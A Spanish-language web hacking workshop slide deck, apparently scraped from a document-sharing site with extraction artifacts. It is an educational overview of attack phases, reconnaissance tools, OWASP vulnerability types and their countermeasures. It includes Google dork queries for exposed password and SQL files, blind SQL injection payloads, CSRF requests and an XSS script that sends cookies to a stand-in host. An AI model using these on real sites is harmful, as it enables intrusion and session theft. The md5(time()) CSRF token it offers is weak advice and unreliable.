Está en la página 1de 101

Taller

 de  Hacking  Web  


¿Quién  soy  yo?  

•  Soy  experto  en  seguridad  informá?ca  desarrollando  en  los  


úl?mos  4  años  mi  labor  como  pentester  en  diferentes  
proyectos  de  hacking  é?co  para  grandes  empresas  e  
ins?tuciones,  colaborador  del  programa  Mundo  Hacker,  
escritor  de  diferentes  libros  relacionados  con  la  seguridad  
informá?ca  y  el  hacking  é?co,  formador  de  los  cuerpos  y  
seguridad  del  gobierno  Español  y  sobre  todo  apasionado  por  
la  seguridad  informá?ca  y  sus  aplicaciones  en  el  mundo  
actual.    
Introducción  

•  ¿Qué  son  los  ataques  a  las  aplicaciones  web?  


–  Consiste  en  introducir  código  del  lado  front-­‐end    o  back-­‐end,  con  el  fin  
de  comprometer  la  aplicación.  
•  ¿Qué  ?po  de  repercusión  pueden  llegar  a  tener?  
–  Dependiendo  del  ?po  de  ataque  realizado,  es  posible  causar  mayor  o  
menor  grado  de  repercusión.  
•  ¿Y  donde  queda  la  seguridad?  
–  La  seguridad  la  ?ene  que  a  portar  el  desarrollador.  
•  ¿Existen  medidas  que  automa?zan  la  seguridad?  
–  A  día  de  hoy  hay  diferentes  productos  que  protejen  las  aplicaciones  
web.  
Ciberataques  

•  Son  todos  aquellos  ataques  que  se  realizan  contra  sistemas  


informá?cos  cuya  finalidad  puede  ser  los  siguientes  puntos:  
–  Tomar  el  control  del  sistema.    
–  Denegación  del  servicio.    
–  U?lizar  el  sistema  infectado  como  pasarela  para  realizar  ataques.  
–  Robo  de  credenciales.  
–  Espionaje.  
–  Destrucción  del  sistema  informá?co.  
Ciberataques  
•  Mapas  web  donde  se  pueden  visualizar  ataques  en  el  pasado  
y  en  el  presente:  
–  hZp://globe.cyberfeed.net/  
–  hZp://atlas.arbor.net/worldmap/index  
–  hZp://cybermap.kaspersky.com/  
–  hZp://sicherheitstacho.eu/  
–  hZp://map.ipviking.com/  
–  hZp://www.akamai.com/html/technology/dataviz1.html  
–  hZp://globe.f-­‐secure.com/  
–  hZp://www.team-­‐cymru.org/Monitoring/Malevolence/maps.html  
–  hZp://www.digitalaZackmap.com/  
–  hZp://www.shadowserver.org/wiki/pmwiki.php/Stats/DDoSMaps  
–  hZp://map.honeycloud.net/  
 
 
Ciberataques  

•  Estadís?ca  de  ataques  web  por  la  empresa  WhiteHat  Security.  


Ciberseguridad  
•  El  gráfico  siguiente  con?ene  gran  parte  de  las  organizaciones  
que  han  sido  víc?mas  de  ataques  web:  
Vic$mas  

Gobiernos  20%  

Finanzas  10%  

Venta  al  por  Menor  5%  

Entretenimiento  5%  

Polí?co  20%  

Poveedor  de  Servicio  10%  

Educación  5%  

Hospitales  5%  

Servicios  de  Información  10%  

Hos?ng  10%  
Ciberseguridad  

•  A  con?nuación  se  listan  las  posibles  repercusiones  que  podría  


hacer  contra  la  organización  (empresa  o  ins?tución  pública):  
–  Robo  de  Información  y  a  demás  venta  de  información  confidencial  a  la  
competencia.  
–  Manipulación  malintencionado  con  el  perfil  de  un  usuario  de  la  
organización.  
–  Espionaje.  
–  Defacement  de  la  aplicación  web.  
–  Denegación  de  Servicio  contra  la  base  de  datos.  
–  Denegación  de  Servicio  contra  el  servidor  web.  
–  Acceso  completo  al  servidor  de  la  organización  mediante  la  aplicación  
web.  
–  Crear  un  RootServer  una  vez  está  comprome?do  el  servidor.  
Dinero  
Diferencia  entre    
Pentester  y  Cibercriminal  
•  A  par?r  de  aquí  podemos  diferenciar  entre  un  cibercriminal  y  
un  pentester.  
•  Auditor  o  pentester:  buscara  los  agujeros  de  seguridad  con  el    
fin  de  proteger.  
•  Cibercriminal:  buscara  también  los  agujeros  pero  con  fines  
destruc?vos.  
Etapas  de  un  ataque  web  

•  Reconocimiento:  consiste  en  obtener  información  publica  


mediante  medios  pasivos  o  medios  ac?vos:  
–  Medios  Pasivos:  hacking  con  buscadores,  herramientas  de  indagación  
en  redes  sociales,  análisis  de  metadatos,  herramientas  de  ges?ón  de  
red,  etc.  
–  Medios  Ac?vos:  mediante  técnicas  de  ingeniería  social  aplicadas  a  las  
personas  que  ges?onen  la  aplicación  web  o  puedan  tener  algún  ?po  
de  contacto  con  la  misma.  
•  Enumeración:  consiste  en  escanear  la  red  obje?vo  para  
obtener  la  mayor  información  posible  sobre  toda  la  
arquitectura.  
Etapas  de  un  ataque  web  

•  Análisis:  consiste  en  buscar  todas  las  posibles  


vulnerabilidades  en  los  disposi?vos  encontrados  en  las  fases  
anteriores.  
•  Explotación:  consiste  en  explotar  las  vulnerabilidades  
encontradas  en  la  etapa  anterior,  con  el  obje?vo  de  poder  
perpetrar  y  eliminar  falsos  posi?vos.  

 
Etapas  de  un  ataque  

•  Desde  el  punto  de  vista  del  pentester:  


–  Documentación:  etapa  final  del  proceso  de  pentes?ng  donde  se  
describe  el  pentest  realizado  en  un  documento  de  cara  a  que  luego  
pueda  volverse  a    reproducir.  

•  Desde  el  punto  de  vista  del  cibercriminal:  


–  Borrado  de  huellas:  eliminación  de  cualquier  ?po  de  rastro  que  
hubiera  podido  dejar  en  el  sistema.  
 
El  empiece  de  un  atacante  

•  Los  ataques  a  las  aplicaciones  web,  empiezan  primero  


aplicando  técnicas  de  fingerprin?ng  y  footprin?ng.  

 
Recabar  Información  

•  Fingerprin?ng:  todas  aquellas  técnicas  que  nos  permitan  


obtener  información  sobre  el  ?po  de  sistema,  los  servicios  
que  corren,  la  versión  de  los  servicios  etc.  
•  Footprin?ng:  toda  aquella  información  que  aparece  de  forma  
pública.  
Nmap  

•  Nmap  es  la  herramienta  por  excelencia  u?lizada  por  todo  el  
mundo  que  quiera  recabar  información  sobre  que  con?ene  el  
sistema.  
•  No  solo  permite  iden?ficar  puertos  y  servicios.  
•  Dispone  de  una  gran  variedad  de  scripts  de  los  cuales  algunos  
de  ellos  ?enen  repercusión  contra  las  aplicaciones  web  
Scripts  Nmap  
NETCAT  

•  Herramienta  u?lizada  con  diferentes  propósitos,  uno  de  ellos  


es  la  u?lización  de  la  técnica  “Banner  Grabing”.  
•  Banner  Grabing  consiste  en  obtener  la  versión  de  las  
aplicaciones.  
•  El  obje?vo  de  netcat  contra  las  aplicaciones  web  es  obtener  la  
e?queta  server  que  es  donde  se  almacena  información.  
Resultado  NETCAT    
HTTPrint  

•  Herramienta  que  automa?za  las  técnicas  de  fingerprin?ng,  


permite  iden?ficar  el  ?po  de  servidor  web,  la  tecnología  
u?lizad  incluso  cuando  hay  un  WAF  de  por  medio.  
Hacking  con  buscadores  

•  La  u?lización  de  los  buscadores  es  otra  forma  pasiva  para  


recopilar  información.  
•  Es  posible  encontrar  información  de  carácter  muy  importante  
para  las  aplicaciones  web,  haciendo  simplemente  uso  de  los  
buscadores  como  google,  bing  etc.    
•  Mediante  el  uso  de  determinadas  expresiones  dentro  del  
buscador  podemos  u?lizando  la  araña  de  google  por  ejemplo,  
encontrar  ficheros  de  tarjetas  de  crédito.  
Operadores  u?lizados  
 en  google  hacking  
•  Site:  restringe  la  búsqueda  solo  a  la  página  o  dominio.  
•  In?tle:  busca  la  cadena  introducida  en  los  ltulos  de  las  
páginas.  
•  Inurl:  busca  por  páginas  que  contengan  en  la  url  la  cadena  
introducida.  
•  Intext:  la  cadena  de  texto  introducida  deberá  aparecer  en  el  
interior  de  las  páginas.  
•  Filetype:  acota  la  búsqueda  a  las  páginas  que  contengan  la  
extensión  puesta  como  cadena  en  el  filetype.  
Ejemplos  de  google  hacking    

•  Inurl:ws_np.ini”[“WS_FTP]”  filetype.ini  
•  Inurl:midicart.mdb  
•  ext:cgi  inurl:cgi-­‐bin  intext:#!/bin/bash  
•  Inurl:admin.php  
•  Filetype:sql  
•  in?tle:”index  of”  “Index  of  /”  password.txt  
•  Filetype:inc  intext:mysql_connect  password  –please  –could  –
port  
Herramientas  google  Hacking    

•  Google  Hacks.  
•  Search  Diggity.  
•  Goodork.  
•  SQLmap  
Búsqueda  de  Vulnerabilidades  
•  Existen  herramientas  que  permiten  automa?zar  la  búsqueda  
de  vulnerabilidades  a  la  hora  de  realizar  un  hacking  web.  
•  Algunas  de  las  herramientas:  
–  Arachni.  
–  Acune?x.  
–  BurpSuite.  
–  AppScan.  
–  Nessus.  
–  W3af.  
–  Grabber.  
–  Vega.  
–  Skipfish.  
Explotación  de  la  vulnerabilidad    

•  Herramientas  u?lizadas  para  explotar  las  vulnerabilidades  


encontradas:  
–  Sqlmap.  
–  Havij.  
–  SqlNinja.  
–  SQLBrute  
–  BSQL  Hacker.  
–  Absinthe.  
–  Metasploit.  
–  DarkMYSQLI.  
Entendiendo  los  vectores  

•  Existen  diferentes  formas  para  llegar  a  tener  el    vector  de  


ataque:  
–  Auditoría  de  caja  blanca:  disponemos  de  bastante  información  del  
entorno  por  lo  que  a  la  hora  de  fijar  el  vector  viene  prác?camente  
acotado.  
–  Auditoría  de  caja  negra:  hay  veces  que  se  dispone  de  más  información  
y  otras  veces  que  menos,  pero  de  igual  manera  es  más  trabajoso  
encontrar  los  vectores  de  ataque.  
–  Auditoría  de  caja  gris:  es  una  mezcla  entre  caja  blanca  y  caja  negra.  
•  Desde  el  punto  de  vista  del  cibercrimen  puede  haber  un  
obje?vo  fijado  o  bien  simplemente  un  juego  de  azar.  
 
Obje?vos  de  un  ataque  web  

•  Evadir  las  medidas  de  seguridad  existentes  para  conseguir  


extraer  información  de  carácter  sensible.  
•  Provocar  un  ataque  de  denegación  se  servicio  que  impida  el  
acceso  a  la  aplicación  web.  
•  Probar  a  desarrollar  nuevos  agujeros  de  seguridad  conocidos  
como  0  days  que  permitan  explotar  la  aplicación  web.  
Metodologías  Hacking  Web  

•  OWASP:  Es  una  organización  sin  ánimo  de  lucro  orientada  a  


desarrollar  proyectos  de  código  abierto  para  mejorar  la  
seguridad  informá?ca.  
•  NIST:  Se  trata  del  Na?onal  Ins?tute  Of  Standards  and  
Technology  perteneciente  al  Departamento  de  Comercio  de  
los  Estados  Unidos.  
•  OSSTMM:    Se  corresponde  con  una  metodología  abierta  
desarrollada  por  ISECOM,  en  la  que  se  indican  las  pautas  para  
comprobar  la  seguridad  informá?ca.  
Más  información  de  Ataques  

•  En  la  página  de  owasp  podemos  ver  de  forma  categorizada  


cada  vulnerabilidad  que  se  puede  aplicar  en  aplicaciones  web:  
 hZps://www.owasp.org/index.php/Category:AZack  
Top  10  de  Vulnerabilidades  OWASP  
Tipos  de  Ataques    

•  SQL  Injec?on.  
•  Blind  Sql  Injec?on  
•  XSS  Reflected.  
•  XSS  Stored.  
•  CSRF.  
•  Brute  Force  
•  LFI/RFI.  
•  Command  Execu?on  
•  File  Upload  
Otras  Vulnerabilidades  Web  

•  Xml  Injec?on.  
•  Denial  of  Service.  
•  Ajax  Injec?on.  
•  Xpath  Injec?on.  
•  Buffer  Overflow.  
•  Path  Traversal  
•  LDAP  Injec?on.  
•  Reflected  DOM  Injec?on.  
•  Cross  Site  Tracing.  
•  Session  Fixa?on.  
SQL  Injec?on  

•  SQL  Injec?on  
–   Fallo  de  inyección.  
–   Falta  de  validación  de  entradas.  
•  Permite  modificar  las  consultas  SQL.  
•  Extracción  de  información.  
SQL  Injec?on  

•  Ejemplo  sin  sql  injec?on:  


h*p://example.com/news.php?id=23  
<?php  
//...  
$id  =  $_GET['id'];  
$query  =  “SELECT  *  FROM  news  WHERE  id=$id”;  
//...  
?>  
SELECT  *  FROM  news  WHERE  id=23  
SQL  Injec?on  

•  Ejemplo  con  Sql  Injec$on  


 
h*p://example.com/news.php?id=23  and1=0
<?php  
//...  
$id  =  $_GET['id'];  
$query  =  “SELECT  *  FROM  news  WHERE  id=$id”;  
//...  
?>  
SELECT  *  FROM  news  WHERE  id=23  and  1=0
SQL  Injec?on  
Diferencia  entre  sql  injec?on  
 y  blind  sql  Injec?on  
Diferencia  entre  sql  injec?on  
 y  blind  sql  Injec?on  
•  No  muestra  información  
         de  la  base  de  datos  en  el  
         navegador.  
•  Se  necesita  “booleanizar”  
         la  información.  
•  Extracción  de  datos  más  
         lenta.  
Ejemplo  Blind  Sql  Injec?on  

Selecciona  al  menos  


un  registro  de  la  tabla  
“usuarios”.  

No  selecciona  ningún  
registro  de  la  tabla  
“usuarios”.  
Ejemplo  Blind  Sql  Injec?on  

¿1 = 1?

¿1 = 0?
“Booleanización”  

•  Representar  la  información  de  


         forma  binaria.  

•  Extraer  un  bit  de  información  


en  cada  consulta.  
Búsqueda  Binaria  

•  Buscar  un  valor  en  un  


         arreglo  ordenado.  
 
•   Reduce  la  complejidad  a  la  
 mitad  en  cada  iteración.  

•   Muy  eficiente.  
Algoritmo  de  Búsqueda  Binaria  
Por  ejemplo:  

?user=admin'  AND  ASCII(MID(USER(),1,1))>128%23  


 ASCII(  'r'  )  -­‐-­‐>  114  
         AND  114  >  128  -­‐-­‐>  FALSO  
 
?user=admin'  AND  ASCII(MID(USER(),1,1))>64%23  
 ASCII(  'r'  )  -­‐-­‐>  114  
 AND  114  >  64  -­‐-­‐>  VERDADERO  
...  
 
SQL  Injec?on  
SQL  Injec?on  

•  hZp://www.sqlinjec?onwiki.com/  
 
SQL  Injec?on  

•  Demo  SQL  Injec?on  en  DVWA:  


 
XSS  

•  Su nombre original es "Cross Site Scripting", y es


abreviado como XSS para no ser confundido con las
siglas CSS, (hojas de estilo en cascada).
•  Las vulnerabilidades de XSS originalmente abarcaban
cualquier ataque que permitiera ejecutar código de
"scripting", como VBScript o JavaScript, en el contexto
de otro sitio web.
XSS  

•  Las fallas XSS ocurren cada vez que una aplicación


toma datos no confiables y los envía al navegador web
sin una validación y codificación apropiada.

•  XSS permite a los atacantes ejecutar secuencia de


comandos en el navegador de la victima los cuales
pueden secuestrar las sesiones de usuario, destruir
sitios web, o dirigir al usuario hacia un sitio malicioso.
XSS  REFLECTED  

•  Los ataques reflejados son aquellos donde el código


inyectado es reflejado fuera del servidor, tal como en un
mensaje de error, el resultado de una búsqueda o
cualquier otra respuesta que incluya una parte de la
entrada enviada al servidor como parte de una solicitud.  
XSS  REFLECTED  
XSS  STORED  

•  Los ataques almacenados son aquellos en los que el


código inyectado reside permanentemente en los
servidores que lo envían, ya sea en la base de datos, en
un mensaje de un foro, en un log de un visitante, campo
de comentario, etc. La víctima descarga el script
malicioso del servidor cuando hace alguna solicitud de
contenido
 
XSS  STORED  
Ejemplo  XSS  

•  Considere  el  siguiente  formulario:  


<form  ac?on="/registrar.php"  method="post">  
<p>Nombre  de  usuario:    <input  type="text"  name="reg_usuario"  /></p>  
<p>Email:    <input  type="text"  name="reg_email"  /></p>  
<p><input  type="submit"  value="Registrar"  />  
</form>  
Ejemplo  XSS  

•  Ahora  considere  el  siguiente  script  de  inserción  de  los  datos:  
if  (!get_magic_quotes_gpc())  {  
 $_POST['reg_usuario']  =  addslashes($_POST['reg_usuario']);  
 $_POST['reg_email']  =  addslashes($_POST['reg_email']);  
}  
$sql  =  "insert  into  users  (username,  email)  values  ('{$_POST['reg_usuario  
']}',  '{$_POST['reg_email']}')";  
 
Ejemplo  XSS  

•  Imagine  el  siguiente  nombre  de  usuario:  


<script>alert('¡Oh  no!');</script>  
•  Se  puede  determinar  fácilmente  que  el  código  anterior  no  es  
nombre  de  usuario  válido,  lo  cual  demuestra  que  el  código  
que  escribimos  no  es  siempre  prudente.  
•  Por  supuesto,  el  peligro  de  XSS  reside  en  el  efecto  producido  
cuando  los  datos  son  reenviados  a  otros  u?lizadores.  
 
Ejemplo  XSS  

•  Despligue  por  un  administrador:  


<table>  
   <tr>  
       <th>Usuario</th>  
       <th>Email</th>  
   </tr>  
<?php  
if  ($_SESSION['admin'])  {  
   $sql  =  'select  username,email  from  users';  
   $result  =  mysql_query($sql);  
   while  ($user  =  mysql_fetch_assoc($result))  {  
       echo  "\t<tr>\n";  
       echo  "\t\t<td>{$user['username']}</td>\n";  
       echo  "\t\t<td>{$user['email']}</td>\n";  
       echo  "\t</tr>\n";  
   }  
}  
?>  
</table>  

 
Ejemplo  XSS  

•  En  el  ejemplo  anterior  si  los  datos  no  son  validados  antes  de  
ser  guardados,  el  administrador  podrá  ser  sujeto  de  un  
ataque  XSS.  
Ejemplo  XSS  

•  El  riesgo  es  aún  más  evidente  con  algún  ataque  más  


vicioso  como  el  siguiente:  
<script>  
   document.loca?on  =  'hZp://maligno.ejemplo.org/roba_cookies.php?
cookies='  +  document.cookie  
</script>  
•  En  este  ejemplo,  el  script  distante  roba_cookies.php  puede  
acceder  a  los  cookies  con  la  variable  $_GET['cookies'].    Un  vez  
capturados  los  cookies  pueden  ser  u?lizados  para  lanzar  
ataques  de  usurpación  de  iden?dad,  obtener  datos  sensibles,  
etc.  
 
XSS  

•  Demo  XSS  en  DVWA:  


CSRF  

•  Este  ?po  de  ataques  en  lugar  de  explotar  la  confianza  del  
usuario  explotan  la  confianza  que  hace  el  si?o  web  a  sus  
usuarios.  
•  CSRF  implica  la  simulación  de  solicitudes  HTTP,  por  lo  cual  es  
muy  importante  entender  las  solicitudes  HTTP.  
 
CSRF  

•  Considere  un  foro  hipoté?co  en  hZp://foro.ejemplo.org/  que  


u?liza  el  siguiente  formulario:  
<form  ac?on="/add_post.php">  
<p>Asunto:    <input  type="text"  name="post_subject"  /></p>  
<p>Mensaje:    <textarea  name="post_message"></
textarea></p>  
<p><input  type="submit"  value="Enviar"  /></p>  
</form>  
 
CSRF  

•  Dado  que  en  el  código  anterior  no  se  indicó  POST  una  
solicitud  GET  es  enviada:  
GET  /add_post.php?post_subject=foo&post_message=bar  
HTTP/1.1  
HOST:    foro.ejemplo.org  
Cookie:    PHPSESSID=123456789  
 
CSRF  

•  Considere  la  e?queta  <img>  siguiente:  


<img  src="hZp://foro.ejemplo.org/add_post.php?
post_subject=foo&post_message=bar”  />  
•  Cuando  un  navegador  pida  esta  imagen  va  a  enviar  
exactamente  la  misma  solicitud  de  la  filmina  anterior.    La  
víc?ma  va  a  enviar  un  mensaje  en  el  foro  y  sin  darse  cuenta.  
 
CSRF  

•  Demo  CSRF  en  DVWA:  


Brute  Force  

•  Un  ataque  de  fuerza  bruta  es  un  método  que  se  usa  para  
adivinar  las  credenciales  del  sistema  mediante  la  
automa?zación  de  la  prueba  de  credenciales.  
•  Este  ataque  es  conocido  como  cracking  online  debido  a  que  
ataca  a  un  servicio  cuya  arquitectura  es  Cliente/Servidor.  
•  Llevado  al  ámbito  del  hacking  web  este  ataque  repercu?rá  en  
todas  la  aplicaciones  donde  exista  un  panel  de  login.  
•  El  Obje?vo  de  este  ataque  es  sacar  las  credenciales  de  la  
plataforma.  
 
Brute  Force  

•  Demo  Brute  Force  en  DVWA:  


LFI  
•  Es utilizada en sitios que permiten el enlace de archivos
locales, debido a una mala verificación en la
programación de la página, que contiene las funciones
propias de PHP: include(), include_once(), requiere(),
requiere_once().  

•  Solo existe en páginas dinámicas desarrolladas en PHP.  


 
LFI  

•  Demo  LFI  en  DVWA:  


RFI  
•  Es utilizada en sitios que permiten el enlace de archivos
remotos, debido a una mala verificación en la
programación de la página, que contiene las funciones
propias de PHP: include(), include_once(), requiere(),
requiere_once().  

•  Solo existe en páginas dinámicas desarrolladas en PHP.  

 
RFI  

•  Demo  RFI  en  DVWA:  


Command  Execu?on  

•  Permite  la  ejecución  de  determinados  comandos  en  el  


sistema.  
•  Esta  vulnerabilidad  permi?rá  modificar,  eliminar  archivos  y  
directorios  del  servidor,  las  posibilidades  son  infinitas,  su  
única  limitación  es  el  usuario  que  usa  la  consola  para  ejecutar  
los  comandos,  así  dependería  de  los  permisos  de  ese  usuario  
para  realizar  ciertas  acciones.  
Command  Execu?on  

•  Demo  Command  Execu?on  en  DVWA:  


File  Upload  

•  Consiste  en  subir  al  sistema  un  fichero  malicioso  ya  sea  sin  
aplicar  ninguna  técnica  de  camuflamiento  o  bien  camuflando  
el  malware  dentro  de  uno  los  ficheros  considerados  por  el  
sistema  como  aceptable.  
•  Algunas  técnicas  aplicadas  para  camuflar  el  malware  son:  
–  Null  Byte.  
–  Introducción  a  través  de  metadatos.  
–  Modificación  de  las  cabeceras  del  fichero.  
–  Modificación  de  la  Extensión.  
File  Upload  

•  Demo  File  Upload  en  DVWA:  


 
Medidas  de  Protección    
Contra  Sql  Injec?on  
•  Expresiones  regulares.  
•  Validación  de  ?po.  
•  Escapar  caracteres  
 Especiales.  
•  Librerías  de  seguridad.  
•  ESAPI.  
•  No  solo  JavaScript.  
Medidas  de  Protección    
Contra  Sql  Injec?on  
•  Consultas  Parametrizadas:  
•  Definir  primero  la  
 consulta  y  luego  pasarle  
 los  parámetros.  
•   Prepared  Statements.  
•   Storage  Procedures  
 
Medidas  de  Protección    
Contra  Sql  Injec?on  
•   Permisos  de  Acceso:  
 Las  aplicaciones  no  
 necesitan  la  cuenta  de  
 Administrador.  

•   GRANT  ALL  PRIV...  


 ¿Es  Necesario?  

•   Aplicaciones  
 diferentes,  usuarios  
 diferentes  
 
Medidas  de  Protección  contra  XSS  

•  XSS:  
–  HTMLfilter  es  un  proyecto  para  PHP  que  analiza  todos  los  datos  HTTP  
antes  de  ser  u?lizados.  
•  Filtrar  todos  los  datos  foráneos.  
•  U?lizar  la  funcionalidad  existente:    htmlen??es(),  strip_tags,  
u‰8_decode(),  etc.  pueden  ayudar  a  escribir  la  lógica  de  
filtrado.  
•  Solamente  autorizar  un  contenido  validado.  
•  U?lizar  una  convención  de  nombres  descrip?va.  
Medidas  de  Protección  contra  CSRF  

•  U?lizar  el  método  POST  en  los  formularios.  


•  U?lizar  el  arreglo  $_POST  en  lugar  de  las  variables  creadas  
gracias  a  register_globals.  
•  No  simplificar  las  acciones  importantes.  
•  Obligar  al  usuario  a  u?lizar  nuestros  formularios  HTML.  
 
Medidas  de  Protección  contra  CSRF  

•  Un    ejemplo  de  técnica  para  obligar  al  usuario  a  u?lizar  


nuestros  propios  formularios  es  la  siguiente:  
<?php  
   $token  =  md5(?me());  
   $_SESSION['token']  =  $token;  
   $_SESSION['token_?mestamp']    =  ?me();  
?>  
<form  ac?on="/add_post.php">  
<input  type="hidden"  name="token"  value="<?php  echo  $token;  ?>"  />  
<p>Asunto:    <input  type="text"  name="post_subject"  /></p>  
<p>Mensaje:    <textarea  name="post_message"></textarea></p>  
<p><input  type="submit"  value="Enviar"  /></p>  
</form>  

 
Medidas  de  Protección    
contra  Brute  Force  
•  U?lización  de  captchas.  
•  Medidas  de  baneo  llegado  a  los  x  intentos  de  error.  
•  U?lización  de  contraseñas  robustas.  
•  U?lización  de  herramientas  que  permiten  proteger  a  los  
paneles  web  frente  a  estos  ataques,  por  ejemplo    la  
herramienta  cPHULK  Brute  Force  Protec?on.  
Medidas  de  Protección  contra  LFI  
•  Como contramedida podemos recomendar los
siguientes items:  
•  Filtrar todos los parámetros que un usuario de la página
pueda manejar.  
•  Asegurarse de que no se pueda acceder a archivos más
allá del "Document Root" de la página.  
•  Procesamiento correcto del parámetro y de la función
que se dedique a recuperar el contenido del fichero que
necesitemos.  
 
Medidas  de  Protección  contra  RFI  
•  Como contramedida podemos recomendar los
siguientes items:  
•  Filtrar todos los parámetros que un usuario de la página
pueda manejar.  
•  Procesamiento correcto del parámetro y de la función
que se dedique a recuperar el contenido del fichero que
necesitemos.  
•  Si es posible setear la variable de PHP
“allow_url_fopen” en off  
 
Medidas  de  Protección    
contra  Command  Execu?on  
•  No  permi?r  la  inserción  de  comandos  como  &&  o  ||.  
•  Filtrar  el  campo  de  tal  manera  que  solo  permita  la  
introducción  del  comando  esperado.  
•  Aplicar  comprobaciones  sobre  el  campo,  determinando  el  
?po  de  datos  que  se  le  pasarán  a  los  parámetros  que  recibe  el  
comando.  
Otras  Medidas  de  Protección  

•   Sistemas  de  detección  y  


 prevención  de  intrusos.  
 (Snort,  PHPIDS)  
•   Web  Applica?on  Firewall.  
 (mod_security)  
•  Reescritura  de  solicitudes  
 HTTP.  (mod_rewrite)  
•   Basados  en  patrones.  
 No  100%  confiables.  
 
Entornos  de  Explotación  

•  Existen  diferentes  entornos  de  explotación  web,  a  


con?nuación  se  listan  algunos  de  ellos:  
–  DVWA.  
–  NOWASP  Mu?llidae.  
–  SQLI-­‐LABS.  
–  Metasploitable.  
–  WebGoat.  
–  bWAPP.  
–  PentesterLab.  
Taller  de  Hacking  

•  Tecnologías  u?lizadas:  
–  Programación  del  lado  Cliente:  JavaScript.  
–  Programación  del  lado  Servidor:  PHPy  JSP.  
–  Sistema  gestor  de  base  de  datos:  MongoDB  y  Sql  Server.  
•  Ataques  que  se  realizarán:  
–  Blind  NoSQL  Injec?on  del  ?po  boolean.  
–  hZp  Parameter  Pollu?on.  
–  Blind  Sql  Injec?on  ?me  based.  
–  Hooking  XSS  Stored.  
¿Qué  es  MongoDB?  

•  MongoDB  es  un  sistema  de  bases  de  datos  NoSQL  orientada  a  
documentos,  desarrollado  bajo  el  concepto  de  código  abierto.  
•  En  lugar  de  guardar  los  datos  en  tablas  como  se  hace  en  las  
bases  de  datos  relacionales,  MongoDB  guarda  estructuras  de  
datos  en  documentos  ?po  JSON  con  un  esquema  dinámico.  
•  No  cumple  con  el  esquema  en?dad-­‐relación.  
•  No  impone  una  estructura  de  datos.  
CRUD  

•  Create  
–  db.collec?on.insert(  <document>  )    
–  db.collec?on.save(  <document>  )    
–  db.collec?on.update(  <query>,  <update>,  {  upsert:  true  }  )    
•  Read  
–  db.collec?on.find(  <query>,  <projec?on>  )  
–  db.collec?on.findOne(  <query>,  <projec?on>  )    
•  Update  
–  db.collec?on.update(  <query>,  <update>,  <op?ons>  )    
•  Delete  
–  db.collec?on.remove(  <query>,  <justOne>  )    
NoSql  
¿Por  qué  surge?  

•  Poca  eficiencia  en  aplicaciones  en  las  BD  relacionales.  


•  Aumento  de  operaciones  de  lectura  y  escritura.  
•  Gran  conjunto  de  transacciones.  
•  Sentencias  complejas.  
•  Dificultades  en  las  escalabilidad  del  sistema.  
 
Caracterís?cas  NoSQL  

•  Consistencia  Eventual.  
•  Ausencia  de  esquema  en  los  registros  de  datos.  
•  Alta  velocidad  de  respuesta  a  pe?ciones.  
•  Estructura  distribuida.  
•  Escalabilidad  horizontal.  
Sistemas  en  Producción    
que  usan  MongoDB  
Web  Services  

•  Tecnología  u?lizada  para  intercambiar  datos  entre  


aplicaciones.  
•  Dis?ntas  aplicaciones  y  entornos  puede  hacer  uso  de  los  web  
services  para  intercambiar  información  y  procesarla.  
•  SOAP:  
–  Protocolo  sobre  el  que  se  estable  el  intercambio.  
•  WSDL:    
–  Es  el  lenguaje  de  la  interfaz  pública  para  los  servicios  Web.  Es  una  
descripción  basada  en  XML  de  los  requisitos  funcionales  necesarios  
para  establecer  una  comunicación  con  los  servicios  Web.  
HTTP  Parameter  Pollu?on  

•  Los  ataques  de  polucción  de  parámetros  HTTP  consisten  en  la  
inyección  de  delimitadores  query  string  codificados  en  otros  
parámetros  existentes.  
•  Si  el  parámetro  en  el  que  se  ha  realizado  la  inyección  no  es  
valida  correctamente  y  se  u?liza  decodificado  para  generar  
una  URL,  el  atacante  puede  insertar  uno  o  más  parámetros  en  
dicha  URL.  
•  Las  consecuencias  de  este  ataque  dependen  de  la  lógica  de  la  
aplicación  y  pueden  tener  desde  un  leve  impacto  hasta  una  
gran  importancia.  
HTTP  Parameter  Pollu?on  

•  Dependiendo  del  lenguaje  del  servidor  si  se  aplica  el  ataque  
HPP  se  cogerá  el  primero,  el  segundo  o  ambos  parámetros  
repe?dos.  
Beef  

•  Herramienta  desarrollada  en  JavaScript  es  open-­‐source.  


•  Permite  mediante  JavaScript  infectar  los  navegadores  y  
u?lizando  una  gran  variedad  de  scripts  ejecutar  diferentes  
ataques  en  función  del  ?po  de  navegador  que  se  haya  
infectado.  
•  Beef  es  una  librería  de  JavaScript  como  por  ejemplo  la  librería  
jQuery,  que  se  incluye  en  una  página  y  esta  se  distribuye  para  
infectar  los  navegadores.  
Taller  de  Hacking  
Taller  Hacking  web  

También podría gustarte